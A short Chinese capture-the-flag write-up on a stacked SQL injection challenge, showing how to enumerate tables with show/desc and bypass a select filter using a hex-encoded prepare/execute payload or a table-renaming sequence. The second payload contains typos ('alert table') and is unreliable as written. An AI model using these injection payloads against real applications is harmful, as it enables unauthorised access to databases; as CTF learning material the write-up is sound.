首先尝试直接去注入,发现好像并没有什么用
尝试使用union盲注,preg_match() 函数可以根据正则表达式对字符串进行搜索匹配,发现全被禁了,所以排除union注入
使用show,发现可以查看表名
使用desc指令分别去查看这两个表结构的详细信息,这里1919810931114514这个表名必须要使用括起来。
因为发现这里过滤了很多函数,因此考虑怎么去绕过。
这里采用了预处理的语句。先把 select * from ` 1919810931114514 `,通过16进制编码变成一串数字
然后使用prepare from 预编译函数,这个函数会自动把16进制字符串转换为 SQL语句,在通过execute执行预编译的SQL语句。0';SET @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;prepare m_string from @a;execute m_string;#
看网上还有其他的方法,比如修改表名列名。
先把words改成其他表名,再把1919810931114514改名为words,给新words添加新列名id,再把flag改名为data。
1';
rename table words to word1;
rename table `1919810931114514` to words;//改表名
alert table words add id int unsigned not Null auto_increment primary key ;//添加一个自增的ID
alert table words change flag data varchar(100); # //改列名